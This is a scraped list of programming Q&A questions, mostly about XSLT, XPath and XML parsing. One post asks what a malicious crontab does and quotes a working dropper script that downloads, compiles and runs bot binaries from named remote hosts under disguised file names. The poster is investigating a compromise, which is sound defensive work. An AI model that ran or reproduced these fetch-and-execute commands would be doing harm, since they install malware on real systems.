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  • Why does this XSL fails to retrieve value from xml ?

    - by Pavitar
    Following is an extract of the XSL stylesheet that I have written. It says my '.xsl' is well formed but it somehow does not retrieve values from the xml,instead jus pastes the header and table headings. EDIT <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:fn="http://www.w3.org/2005/xpath-functions"> <xsl:template match="/" > <html> <head> <title>GlenMark Pharma</title> </head> <h1 align="center"><font face="Monotype Corsiva" color="red">GlenMarkPharma</font></h1> <body> <table> <tbody> <tr> <th>ID</th> <th>ENAME</th> <th>Mobile</th> <th>EMAIL</th> <th>PWD</th> </tr> <xsl:for-each select="employees/employee"> <tr> <td><xsl:value-of select="@empID" /></td> <td><xsl:value-of select="name" /></td> <td><xsl:value-of select="mobile" /></td> <td><xsl:value-of select="email" /></td> <td><xsl:value-of select="pwd" /></td> </tr> </xsl:for-each> </tbody> </table> </body> </html> </xsl:template> </xsl:stylesheet> Here is my XML doc: <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="MyfirstXsl.xsl"?> <!DOCTYPE employees SYSTEM "Mydtd.dtd"> <me:employees xmlns:me="[email protected]" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="[email protected] Mycomplex.xsd"> <me:employee empID="EMP101"> <me:name>Vicky</me:name> <me:mobile>9870582356</me:mobile> <me:email>[email protected]</me:email> <me:pwd>&defPWD;</me:pwd> </me:employee> </me:employees> I have also tried writing: <xsl:for-each select="employees/employee"> <tr> <td><xsl:value-of select="@empID" /></td> <td><xsl:value-of select="me:name" /></td> in the XSL since I have an alias to the namespace in my XML Doc.But it gives me an error of Invalid Pre-fix.I don't know what I'm doing wrong.

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  • XSLT1.0: remove duplicates combined with an xsl:key

    - by Jannibal
    I have the following piece of XML: <research> <research.record> <research.record_number>1</research.record_number> <research.type> <value lang="en-US">some research type</value> </research.type> <research.type> <value lang="en-US">some other type of research</value> </research.type> <project.record> <priref>101</priref> <project.type> <value lang="en-US">some type of project</value> </project.type> </project.record> </research.record> </research> <research> <research.record> <research.record_number>2</research.record_number> <research.type> <value lang="en-US">some other type of research</value> </research.type> <research.type> <value lang="en-US">a third type of research</value> </research.type> <project.record> <priref>101</priref> <project.type> <value lang="en-US">some type of project</value> </project.type> </project.record> </research.record> </research> <research> <research.record> <research.record_number>3</research.record_number> <research.type> <value lang="en-US">some other type of research</value> </research.type> <research.type> <value lang="en-US">a fourth type</value> </research.type> <project.record> <priref>201</priref> <project.type> <value lang="en-US">some other type of project</value> </project.type> </project.record> </research.record> </research> <research> ... etc ... With XSLT 1.0 I transform this XML into a list of unique project records by using xsl:key. So far, so good... The problem is: I also want to show unique research types for each unique project record. My wanted output would be: project.record 101: some research type, some other type of research, a third type of research project.record 201: some other type of research, a fourth type Hope someone can help me out with the right XSLT/XPATH. (Can only use XSLT1.0)

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  • how to pull href link

    - by user1751494
    I am trying to pull a link from a page that is in a formal I can't seem to find by simply googling... it might be simple but xpath is not my area of expertise I am using c# and trying to pull the link and just write it to the console to figure out how to get the link here is my C# code var document = webGet.Load("http://classifieds.castanet.net/cat/vehicles/cars/0_-_4_years_old/"); var browser = document.DocumentNode.SelectSingleNode("//a[starts-with(@href,'/details/')]"); if (browser != null) { string htmlbody = browser.OuterHtml; Console.WriteLine(htmlbody); } the html code section is <div class="last">&hellip;</div><a href="/cat/vehicles/cars/0_-_4_years_old/?p=13">13</a><a href="/cat/vehicles/cars/0_-_4_years_old/?p=2">&raquo;</a> <select name="sortby" class="sortby" onchange="doSort(this);"> <option value="">Most Recent</option> <option value="of" >Oldest First</option> <option value="mw" >Most Views</option> <option value="lw" >Fewest Views</option> <option value="lp" >Lowest Price</option> <option value="hp" >Highest Price</option> </select><div style="clear:both"></div> </div> <br /><br /><br /> <a href="/details/2008_vw_gti/1454282/" class="prod_container" > <h2>2008 VW GTi</h2> <div style="float:left; width:122px; z-index:1000"> <div class="thumb"><img src="http://c.castanet.net/img/28/thumbs/1454282-1-1.jpg" border="0"/></div> <div class="clear"></div> mls </div> <div class="descr"> The most fun car I have owned. Dolphin Grey, 4 door, Dual Climate control, DRG Transmission with paddle shift. Leather... </div> <div class="pdate"> <p class="price">$19,000.00</p> <p class="date">Kelowna<br />Posted: Oct 15, 2:54 PM<br />Views: 349</p> </div> <div style="clear:both" ></div> <div class="seal"><img src="/images/bookmark.png" /></div> </a> <a href="/details/price_drop_gorgeous_rare_white_2009_honda_accord_ex-l_coupe/1447341/" class="prod_container" > <h2>PRICE DROP!!! Gorgeous Rare White 2009 Honda Accord EX-L Coupe </h2> <div style="float:left; width:122px; z-index:1000"> <div class="thumb"><img src="http://c.castanet.net/img/28/thumbs/1447341-1-1.jpg" border="0"/></div> <div class="clear"></div> sun2010 </div> <div class="descr"> the link I'm trying to get is the "/details/2008_vw_gti/1454282/" part. THanks

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  • Is SecureShellz bot a virus? How does it work?

    - by ProGNOMmers
    I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd [...] http://stablehost.us/bots/regular.bot contents are: #!/bin/sh if [ $(whoami) = "root" ]; then echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1 wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2 exit 1 fi wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_ I cannot contact the sysadmin for various reasons, so I cannot ask infos about this to him. It seems to me this script downloads some remote C source codes and binaries, compile them and execute them. I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server. Can you give me more infos about what this code does? About its working, its purposes?

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  • XML transform element appearing in wrong place in document

    - by Mike
    I am having some problems with an XML transform and need some help. The stylesheet should iterate through all suffix elements and place the contents without the suffix tag next to the last text node within its first ancestor quote-block element (see desired ouput). It works when only a single suffix is present, but not when 2 are present, when 2 are present it places both suffixes next to each other in the last text node of the first quote-block. Any ideas? I have tried limiting the selections to ancestor::quote-block[1] in various places but that doesn't have the desired effect. Source XML <paragraph> <para> <quote-block> <list prefix-rules="specified"> <item prefix="“B42"> <para id="0a84d149-91b7-4012-ac6d-9f4eb8ed6c37">In June 2000, EME and EWS reached an agreement to negotiate towards a direct contract for coal haulage by rail (on a DIY basis), which would replace the previous indirect E2E arrangements that EME had in place with ECSL. An internal EWS e-mail noted: <quote-block> <quote-para>‘We did the deal with Edison Mission yesterday morning for LBT-Fiddlers @ £[…]/tonne as agreed. This rate until 16th September pending a contract.</quote-para> <quote-para><emphasis strength="strong">Enron are now off our hands so far as Edison are concerned. The Enron flows we have left are to British Energy’s station at Eggborough; from Immingham, Redcar and Hull</emphasis>. Also to Enron’s own power station at Wilton – 250,000 tonnes/year. I think we are stuck Enron [sic] on the Eggborough traffic until next April when British Energy will, hopefully take over their own coal procurement. <emphasis strength="strong">But we have got them out of Fiddlers Ferry and Ferrybridge – a big step forward</emphasis>.’</quote-para> <suffix>(Emphasis added.)</suffix> </quote-block> </para> </item> <item prefix="B43"> <para id="d64a5a72-0a02-476f-9a7b-7c07bbc93a8a">This e-mail is evidence of both EWS’s intent and, indeed, its success in stopping ECSL from carrying out indirect supplies to EME, one of the new generating companies.”</para> </item> </list> <suffix>(emphasis in original)</suffix> </quote-block> </para> </paragraph> Stylesheet <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xml.sm.com/schema/cases/report" xmlns:sm="http://xml.sm.com/functions" xmlns:saxon="http://saxon.sf.net/" xpath-default-namespace="http://sm.com/schema/cases/report" exclude-result-prefixes="xs sm" version="2.0"> <xsl:output method="xml" indent="no"/> <xsl:template match="/"> <xsl:apply-templates/> </xsl:template> <xsl:template match="*"> <xsl:copy> <xsl:copy-of select="@*"/> <xsl:apply-templates/> </xsl:copy> </xsl:template> <!-- Match quote-blocks with open or close attributes. --> <xsl:template match="*[*:quote-block and descendant::*:suffix]"> <xsl:call-template name="process-quote-block"/> </xsl:template> <!-- Match inline quote with open or close attributes --> <xsl:template match="*[*:quote and descendant::*:suffix]"> <xsl:call-template name="process-quote-block"/> </xsl:template> <!-- Process the quote block --> <xsl:template name="process-quote-block"> <xsl:variable name="quoteBlockCopy"> <xsl:copy-of select="."/> </xsl:variable> <xsl:apply-templates select="$quoteBlockCopy" mode="append-suffix"> <xsl:with-param name="suffix" select="sm:get-suffix-note(.)"/> <xsl:with-param name="end-node" select="sm:get-last-text-node($quoteBlockCopy)"/> </xsl:apply-templates> </xsl:template> <!-- Match quote-blocks with open or close attributes. --> <xsl:template match="*[*:quote-block and descendant::*:suffix][ancestor::*:quote-block[1]]" mode="create-copy"> <xsl:call-template name="process-quote-block"/> </xsl:template> <!-- Match inline quote with open or close attributes --> <xsl:template match="*[*:quote and descendant::*:suffix]" mode="create-copy"> <xsl:call-template name="process-quote-block"/> </xsl:template> <!-- This will match all elements. Just copy and pass through the parameters. --> <xsl:template match="*" mode="append-suffix"> <xsl:param name="suffix"/> <xsl:param name="end-node"/> <xsl:copy> <xsl:copy-of select="@*"/> <xsl:apply-templates mode="append-suffix"> <xsl:with-param name="suffix" select="$suffix"/> <xsl:with-param name="end-node" select="$end-node"/> </xsl:apply-templates> </xsl:copy> </xsl:template> <!-- Apply the text node to the content. If the node is equal to the last node then append the descendants of suffix --> <xsl:template match="text()[normalize-space() != '']" mode="append-suffix"> <xsl:param name="suffix"/> <xsl:param name="end-node"/> <xsl:choose> <xsl:when test="count(. | $end-node) = 1"> <xsl:value-of select="."/> <xsl:apply-templates select="$suffix"/> </xsl:when> <xsl:otherwise> <!-- Or maybe neither. --> <xsl:value-of select="."/> </xsl:otherwise> </xsl:choose> </xsl:template> <!-- Dont copy suffix as --> <xsl:template match="*:suffix" mode="append-suffix"/> <xsl:function name="sm:get-suffix-note"> <xsl:param name="node"/> <xsl:sequence select="$node/descendant::*:suffix/node()"/> </xsl:function> <xsl:function name="sm:get-last-text-node"> <!-- Finds last non-empty text() node, ignoring <suffix> elements that are a child of this specific quote-block. --> <xsl:param name="node"/> <xsl:sequence select="reverse($node//text()[not(ancestor::*:suffix) and normalize-space() != ''])[1]"/> </xsl:function> </xsl:stylesheet> Current Output XML <paragraph> <para> <quote-block> <list prefix-rules="specified"> <item prefix="“B42"> <para id="0a84d149-91b7-4012-ac6d-9f4eb8ed6c37">In June 2000, EME and EWS reached an agreement to negotiate towards a direct contract for coal haulage by rail (on a DIY basis), which would replace the previous indirect E2E arrangements that EME had in place with ECSL. An internal EWS e-mail noted: <quote-block> <quote-para>‘We did the deal with Edison Mission yesterday morning for LBT-Fiddlers @ £[…]/tonne as agreed. This rate until 16th September pending a contract.</quote-para> <quote-para><emphasis strength="strong">Enron are now off our hands so far as Edison are concerned. The Enron flows we have left are to British Energy’s station at Eggborough; from Immingham, Redcar and Hull</emphasis>. Also to Enron’s own power station at Wilton – 250,000 tonnes/year. I think we are stuck Enron [sic] on the Eggborough traffic until next April when British Energy will, hopefully take over their own coal procurement. <emphasis strength="strong">But we have got them out of Fiddlers Ferry and Ferrybridge – a big step forward</emphasis>.’</quote-para> </quote-block> </para> </item> <item prefix="B43"> <para id="d64a5a72-0a02-476f-9a7b-7c07bbc93a8a">This e-mail is evidence of both EWS’s intent and, indeed, its success in stopping ECSL from carrying out indirect supplies to EME, one of the new generating companies.”(Emphasis added.)(emphasis in original)</para> </item> </list> </quote-block> </para> </paragraph> Desired Ouput <paragraph> <para> <quote-block> <list prefix-rules="specified"> <item prefix="“B42"> <para id="0a84d149-91b7-4012-ac6d-9f4eb8ed6c37">In June 2000, EME and EWS reached an agreement to negotiate towards a direct contract for coal haulage by rail (on a DIY basis), which would replace the previous indirect E2E arrangements that EME had in place with ECSL. An internal EWS e-mail noted: <quote-block> <quote-para>‘We did the deal with Edison Mission yesterday morning for LBT-Fiddlers @ £[…]/tonne as agreed. This rate until 16th September pending a contract.</quote-para> <quote-para><emphasis strength="strong">Enron are now off our hands so far as Edison are concerned. The Enron flows we have left are to British Energy’s station at Eggborough; from Immingham, Redcar and Hull</emphasis>. Also to Enron’s own power station at Wilton – 250,000 tonnes/year. I think we are stuck Enron [sic] on the Eggborough traffic until next April when British Energy will, hopefully take over their own coal procurement. <emphasis strength="strong">But we have got them out of Fiddlers Ferry and Ferrybridge – a big step forward</emphasis>.’(Emphasis added.)</quote-para> </quote-block> </para> </item> <item prefix="B43"> <para id="d64a5a72-0a02-476f-9a7b-7c07bbc93a8a">This e-mail is evidence of both EWS’s intent and, indeed, its success in stopping ECSL from carrying out indirect supplies to EME, one of the new generating companies.”(emphasis in original)</para> </item> </list> </quote-block> </para> </paragraph>

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  • PHP5 : Applying a method from an extended class on an object from the original (parent) class.

    - by Glauber Rocha
    Hello, I'm trying to extend two native PHP5 classes (DOMDocument and DOMNode) to implement 2 methods (selectNodes and selectSingleNode) in order to make XPath queries easier. I thought it would be rather straighforward, but I'm stuck in a problem which I think is an OOP beginner's issue. class nDOMDocument extends DOMDocument { public function selectNodes($xpath){ $oxpath = new DOMXPath($this); return $oxpath->query($xpath); } public function selectSingleNode($xpath){ return $this->selectNodes($xpath)->item(0); } } Then I tried to do extend DOMNode to implement the same methods so I can perform an XPath query directly on a node: class nDOMNode extends DOMNode { public function selectNodes($xpath){ $oxpath = new DOMXPath($this->ownerDocument,$this); return $oxpath->query($xpath); } public function selectSingleNode($xpath){ return $this->selectNodes($xpath)->item(0); } } Now if I execute the following code (on an arbitrary XMLDocument): $xmlDoc = new nDOMDocument; $xmlDoc->loadXML(...some XML...); $node1 = $xmlDoc->selectSingleNode("//item[@id=2]"); $node2 = $node1->selectSingleNode("firstname"); The third line works and returns a DOMNode object $node1. However, the fourth line doesn't work because the selectSingleNode method belongs to the nDOMNode class, not DOMNode. So my question: is there a way at some point to "transform" the returned DOMNode object into a nDOMNode object? I feel I'm missing some essential point here and I'd greatly appreciate your help. (Sorry, this is a restatement of my question http://stackoverflow.com/questions/2573820/)

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  • How can I make the camera return to the beginning of the terrain when it reaches the end?

    - by wbaccari
    How can I make the camera return to the beginning of the terrain when it reaches the end? I tried using the ICameraSceneNode*-setPosition(). if (camera->getPosition().X>1200.f) camera->setPosition(vector3df(1.f,1550.f,camera->getPosition().Z)); if (camera->getPosition().X<0.f) camera->setPosition(vector3df(1199.f,1550.f,camera->getPosition().Z)); if (camera->getPosition().Z>1200.f) camera->setPosition(vector3df(camera->getPosition().X,1550.f,1.f)); if (camera->getPosition().Z<0.f) camera->setPosition(vector3df(camera->getPosition().X,1550.f,1199.f)); It seems to work fine with a flat terrain (one shade of grey in heightmap) but it starts to produce a strange behavior as soon as i try to add some hills. Edit: The setPosition() call seems to perform a translation of the camera toward the new position, therefore the camera stops at the first obstacle it encounters on its way.

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  • How can I match at the beginning of any line, including the first, with a Perl regex?

    - by JoelFan
    According the the Perl documentation on regexes: By default, the "^" character is guaranteed to match only the beginning of the string ... Embedded newlines will not be matched by "^" ... You may, however, wish to treat a string as a multi-line buffer, such that the "^" will match after any newline within the string ... you can do this by using the /m modifier on the pattern match operator. The "after any newline" part means that it will only match at the beginning of the 2nd and subsequent lines. What if I want to match at the beginning of any line (1st, 2nd, etc.)? EDIT: OK, it seems that the file has BOM information (3 chars) at the beginning and that's what's messing me up. Any way to get ^ to match anyway? EDIT: So in the end it works (as long as there's no BOM), but now it seems that the Perl documentation is wrong, since it says "after any newline"

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  • Access VBA remove CR & LF only from the beginning of a text string by searching for them

    - by uZI
    Hi there I need to remove line breaks from the beginning of a memo type records. I dont want to use the replace function as it would remove all line breaks from the record which is not desired. Its only the line breaks at the beginning of the field that I am interested in removing. Furthermore, the my records do not always begin with a line break so I cant really use text positioning, the solution would be to look for line break at the beginning instead of always expecting it at the beginning. click here for a sample of what my data looks like any help will be greatly appreciated

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  • What is the possible disadvantage of putting declarations in inner blocks, instead of at beginning of function?

    - by shan23
    At the place where I work, there are explicit guidelines for placement of declarations of variables. According to that, it is required to put them at the global level and / or at the beginning of functions, and not in inner blocks (such as a for loop). Since they've been specified by persons more experienced than I am, I'm sure that there must be a good reason for it, but I cannot figure out what that might be. It would be nice to know if there are any compile time / run time advantages at having them declared at a bigger scope.

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  • I finished "Beginning Android Games", should I use its framework?

    - by orod
    I've worked through Mario Zechner's "Beginning Android Games" and have made my own pong and asteroids game using the framework used in the book. I have also downloaded the source code for Replica Island and am able to run that. I like Replica Island's framework over the one I made from reading the book. Some differences are that Replica Island uses different activities for each screen instead of Zechner's Screen class and that Replica Island can use a lot of textures and isn't limited to textures with dimensions of powers of 2. If I'm serious about writing games and apps for Android should I learn Replica Island's framework and use that instead of the one I made while reading Zechner's book?

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  • how to COPY Attribute value in a new attribute

    - by Mukesh
    How to copy data of attribute to new attribute in the same column in sql original data <root> <child attr='hello'></child> </root> Result 1 <root> <child attr='hello' attr2='hello'></child> </root> Result 2(with a modification) <root> <child attr='hello' attr2='**H**ello **W**orld'></child> </root>

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  • HtmlAgilityPack SelectNodes expression to ignore an element with a certain attribute

    - by thaky
    I am trying to select nodes except from script nodes and a ul that has a class called 'relativeNav'. Can someone please direct me to the right path? I have been searching for this for a week and I can't find it anywhere. Currently I have this but it obviously selecting the //ul[@class='relativeNav'] as well. Is there anyway to put an NOT expression of it so that SelectNode will ignore that one? foreach (HtmlNode node in doc.DocumentNode.SelectNodes("//body//*[not(self::script)]/text()")) { Console.WriteLine("Node: " + node); singleString += node.InnerText.Trim() + "\n"; }

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  • remember the highlighted text in html page(add annotation to html page)

    - by ganapati hegde
    Hi, I have an HTML file, i am opening it with webkit,i want to develop an app, such that after opening it, i should be able to select some text and make it highlighted(say by pressing some button 'highlight text' ). And it should remember the highlighted text so that when i open it next time it should highlight the same text automatically...which information i got to store so that i can highlight the same in the next time ? any library is available which makes my work simple?

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  • problem with AddSort method

    - by netNewbi3
    Hi Could you let me know what the proboem is with sorting in this code? It doesn't work. My xml: CONTRACTS --CONTRACT ---SUPPLIER ---COMMODITIES ----COMMODITY -----COMODDITYNAME My code: Dim myString As StringBuilder = New StringBuilder(200) Dim xdoc As New XPathDocument("local_xml.xml") Dim nav As XPathNavigator = xdoc.CreateNavigator() Dim expr As XPathExpression expr = nav.Compile("/pf:CONTRACTS/pf:CONTRACT") Dim namespaceManager As XmlNamespaceManager = New XmlNamespaceManager(nav.NameTable) namespaceManager.AddNamespace("pf", "http://namespace.ac.uk/") expr.AddSort("pf:SUPPLIER", XmlSortOrder.Ascending, XmlCaseOrder.None, String.Empty, XmlDataType.Text) expr.SetContext(namespaceManager) Dim nodes As XPathNodeIterator = nav.Select(expr) If nodes.Count > 0 Then myString.AppendLine("<table width='96%' border='0' cellpadding='0' cellspacing='0' border='0' class='datatable1'>") myString.AppendLine("<th width='35%'>Name</th><th width='35%'>Commodity</th><th width='20%'>Supplier</a></th>") While nodes.MoveNext() Dim node As XPathNavigator = nodes.Current.SelectSingleNode("pf:NAME", namespaceManager) Dim supplier As XPathNavigator = nodes.Current.SelectSingleNode("pf:SUPPLIER", namespaceManager) Dim commodity As XPathNavigator = nodes.Current.SelectSingleNode("pf:COMMODITIES/pf:COMMODITY/pf:COMMODITYNAME", namespaceManager) Dim sChars As String = " " myString.AppendLine("<tr>") myString.AppendLine("<td>") myString.AppendLine(node.ToString()) myString.AppendLine("</td>") myString.AppendLine("<td>") myString.AppendLine(commodity.ToString()) myString.AppendLine("</td>") myString.AppendLine("<td>") myString.AppendLine(supplier.ToString()) myString.AppendLine("</td>") myString.AppendLine("</tr>") End While myString.AppendLine("</table>") Dim strOutput As String = myString.ToString() lblOutput.Text = strOutput Else lblOutput.Text = "No results for your search<br/>" End If

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  • Sorted exsl:node-set. Return node by it position.

    - by kalininew
    Good afternoon, gentlemen. Help me solve a very simple task. I have a set of nodes <menuList> <mode name="aasdf"/> <mode name="vfssdd"/> <mode name="aswer"/> <mode name="ddffe"/> <mode name="ffrthjhj"/> <mode name="dfdf"/> <mode name="vbdg"/> <mode name="wewer"/> <mode name="mkiiu"/> <mode name="yhtyh"/> and so on... </menuList> I have it sorted now this way <xsl:variable name="rtf"> <xsl:for-each select="//menuList/mode"> <xsl:sort data-type="text" order="ascending" select="@name"/> <xsl:value-of select="@name"/> </xsl:for-each> </xsl:variable> Now I need to get an arbitrary element in the sorted array to the number of its position. I write code <xsl:value-of select="exsl:node-set($rtf)[position() = 3]"/> and get a response error. How to do it right?

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  • Exclude first child with XSL-T

    - by zneak
    Hello, What I'm trying to do is fairly simple, but I can't find the way to. I just want to iterate over the children of a node excluding the first child. For instance, in this XML snippet, I would want all the <bar> elements, except the first one: <foo> <Bar>Example</Bar> <Bar>This is an example</Bar> <Bar>Another example</Bar> <Bar>Bar</Bar> </foo> There is no common attribute by which I can filter (like an id tag or something similar). Any suggestions?

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  • Formatting datetime values returned in a SELECT..FOR XML statement

    - by TelJanini
    Consider the following table: Orders OrderId Date CustomerId 1000 2012-06-05 20:03:12.000 51 1001 2012-06-16 12:02:31.170 48 1002 2012-06-18 19:45:16.000 33 When I extract the Order data using FOR XML: SELECT OrderId AS 'Order/@Order-Id', Date AS 'Order/ShipDate', CustomerId AS 'Order/Customer' FROM Orders WHERE OrderId = 1000 FOR XML PATH ('') I get the following result: <Order Order-Id="1000"> <ShipDate>2010-02-20T16:03:12</ShipDate> <Customer>51</Customer> </Order> The problem is, the ShipDate value in the XML file needs to be in the format M/DD/YYYY H:mm:ss PM. How can I change the output of the ShipDate in the XML file to the desired format? Any help would be greatly appreciated!

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  • TCL tDom Empty XML Tag

    - by pws5068
    I'm using tDom to loop through some XML and pull out each element's text(). set xml { <systems> <object> <type>Hardware</type> <name>Server Name</name> <attributes> <vendor></vendor> </attributes> </object> <object> <type>Hardware</type> <name>Server Two Name</name> <attributes> <vendor></vendor> </attributes> </object> </systems> }; set doc [dom parse $xml] set root [$doc documentElement] set nodeList [$root selectNodes /systems/object] foreach node $nodeList { set nType [$node selectNodes type/text()] set nName [$node selectNodes name/text()] set nVendor [$node selectNodes attributes/vendor/text()] # Etc... puts "Type: " puts [$nType data] # Etc .. puts [$nVendor data] } But when it tries to print out the Vendor, which is empty, it thows the error invalid command name "". How can I ignore this and just set $nVendor to an empty string?

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  • using XSL to replace XML nodes with new nodes

    - by iHeartGreek
    I need an XSL solution to replace XML nodes with new nodes. Say I have the following existing XML structure: <root> <criteria> <criterion>AAA</criterion> </criteria> </root> And I want to replace the one criterion node with: <criterion>BBB</criterion> <criterion>CCC</criterion> <criterion>DDD</criterion> So that the final XML result is: <root> <criteria> <criterion>BBB</criterion> <criterion>CCC</criterion> <criterion>DDD</criterion> </criteria> </root> I have tried using substring-before and substring-after to just copy the first half of the structure, then just copy the second half (in order to fill in my new nodes in between the two halves) but it appears that the substring functions only recognize text in between the nodes' tags, and not the tags themselves like I want them to. :( :( Any other solutions?

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  • Select XML nodes as rows

    - by Bjørn
    I am selecting from a table that has an XML column using T-SQL. I would like to select a certain type of node and have a row created for each one. For instance, suppose I am selecting from a people table. This table has an XML column for addresses. The XML is formated similar to the following: <address> <street>Street 1</street> <city>City 1</city> <state>State 1</state> <zipcode>Zip Code 1</zipcode> </address> <address> <street>Street 2</street> <city>City 2</city> <state>State 2</state> <zipcode>Zip Code 2</zipcode> </address> How can I get results like this: Name         City         State Joe Baker   Seattle      WA Joe Baker   Tacoma     WA Fred Jones  Vancouver BC

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  • How to copy child nodes to another xml document?

    - by Alex
    Below is my xml XML1 <?xml version="1.0" encoding="ISO-8859-1" ?> <CATALOG> <CD> <TITLE>1</TITLE> <ARTIST>Bob Dylan</ARTIST> <COUNTRY>USA</COUNTRY> <COMPANY>Columbia</COMPANY> <PRICE>10.90</PRICE> <YEAR>1985</YEAR> </CD> <CD> <TITLE>2</TITLE> <ARTIST>Bonnie Tyler</ARTIST> <COUNTRY>UK</COUNTRY> <COMPANY>CBS Records</COMPANY> <PRICE>9.90</PRICE> <YEAR>1988</YEAR> </CD> </CATALOG> XML2 <?xml version="1.0" encoding="ISO-8859-1" ?> <CATALOG> <CD> <TITLE>3</TITLE> <ARTIST>Dolly Parton</ARTIST> <COUNTRY>USA</COUNTRY> <COMPANY>RCA</COMPANY> <PRICE>9.90</PRICE> <YEAR>1982</YEAR> </CD> </CATALOG> i need output like this <?xml version="1.0" encoding="ISO-8859-1" ?> <CATALOG> <CD> <TITLE>1</TITLE> <ARTIST>Bob Dylan</ARTIST> <COUNTRY>USA</COUNTRY> <COMPANY>Columbia</COMPANY> <PRICE>10.90</PRICE> <YEAR>1985</YEAR> </CD> <CD> <TITLE>2</TITLE> <ARTIST>Bonnie Tyler</ARTIST> <COUNTRY>UK</COUNTRY> <COMPANY>CBS Records</COMPANY> <PRICE>9.90</PRICE> <YEAR>1988</YEAR> </CD> <CD> <TITLE>3</TITLE> <ARTIST>Dolly Parton</ARTIST> <COUNTRY>USA</COUNTRY> <COMPANY>RCA</COMPANY> <PRICE>9.90</PRICE> <YEAR>1982</YEAR> </CD> </CATALOG> How i write this in classic asp ?

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  • Trying to use an Xslt for an xml in asp.net

    - by Josemalive
    Hello, i have the following xslt sheet: <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:variable name="nhits" select="Answer[@nhits]"></xsl:variable> <xsl:output method="html" indent="yes"/> <xsl:template match="/"> <div> <xsl:call-template name="resultsnumbertemplate"/> </div> </xsl:template> <xsl:template name="resultsnumbertemplate"> <xsl:value-of select="$nhits"/> matches found </xsl:template> </xsl:stylesheet> And this is the xml that im trying to mix with the previous xslt: <Answer xmlns="exa:com.exalead.search.v10" context="n%3Dsl-ocu%26q%3Dlavadoras" last="9" estimated="false" nmatches="219" nslices="0" nhits="219" start="0"> <time> <Time interrupted="false" overall="32348" parse="0" spell="0" exec="1241" synthesis="15302" cats="14061" kwds="14061"> <sliceTimes>15272 </sliceTimes> </Time> </time> </Answer> Im using a xslcompiledtransform and that's working fine: XslCompiledTransform transformer = new XslCompiledTransform(); transformer.Load(HttpContext.Current.Server.MapPath("xslt\\" + requestvariables["xslsheet"].ToString())); transformer.Transform(xmlreader, null, writer); My problems comes when im trying to put into a variable the "nhits" attribute value placed on the Answer element, but i'm not rendering anything using my xslt sheet. Do you know what could be the cause? Could be the xmlns attribute in my xml file? Thanks in advance. Best Regards. Jose

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  • Problem with relative path to image in XAML?

    - by Giri
    I am trying to reference a PNG file in my applications working directory through XAML with the following: <Image Name="contactImage"> <Image.Source> <BitmapImage UriSource="/Images/contact.png"> </Image.Source> </Image> Now in my code-behind I try to get the height of the image with contactImage.Source.Height This fails with System.IOException - cannot locate resource 'images/contact.png'. If I use something like PngBitmapDecoder p = new PngBitmapDecoder(new Uri("./Images/contact.png"), UriKind.Relative, BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.Default); Everything is happy. How can I reference an image in xaml to a path relative to the working deirectory of the app. BTW- this is being run on a remote machine (if that makes a difference). I have tried "./Images/contact.png" and ".\Images\contact.png" and several other combinations of back/forward slashes and dots. Here is the primary difference- Any time the file is referenced in XAML, it shows up as pack://aplication:,,, blah blah blah when I use the PngBitmapDecoder, it shows up correctly as "./Images/contact.png". How do I reference the image file in XAML and get it show a source as "./Images/contact.png" instead of a pack://application,,,blah blah blah?

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  • Get content of XML node using c#

    - by Adam S
    Hi all, simple question but I've been dinking around with it for an hour and it's really starting to frustrate me. I have XML that looks like this: <TimelineInfo> <PreTrialEd>Not Started</PreTrialEd> <Ambassador>Problem</Ambassador> <PsychEval>Completed</PsychEval> </TimelineInfo> And all I want to do is use C# to get the string stored between <Ambassador> and </Ambassador>. So far I have: XmlDocument doc = new XmlDocument(); doc.Load("C:\\test.xml"); XmlNode x = doc.SelectSingleNode("/TimelineInfo/Ambassador"); which selects the note just fine, now how in the world do I get the content in there?

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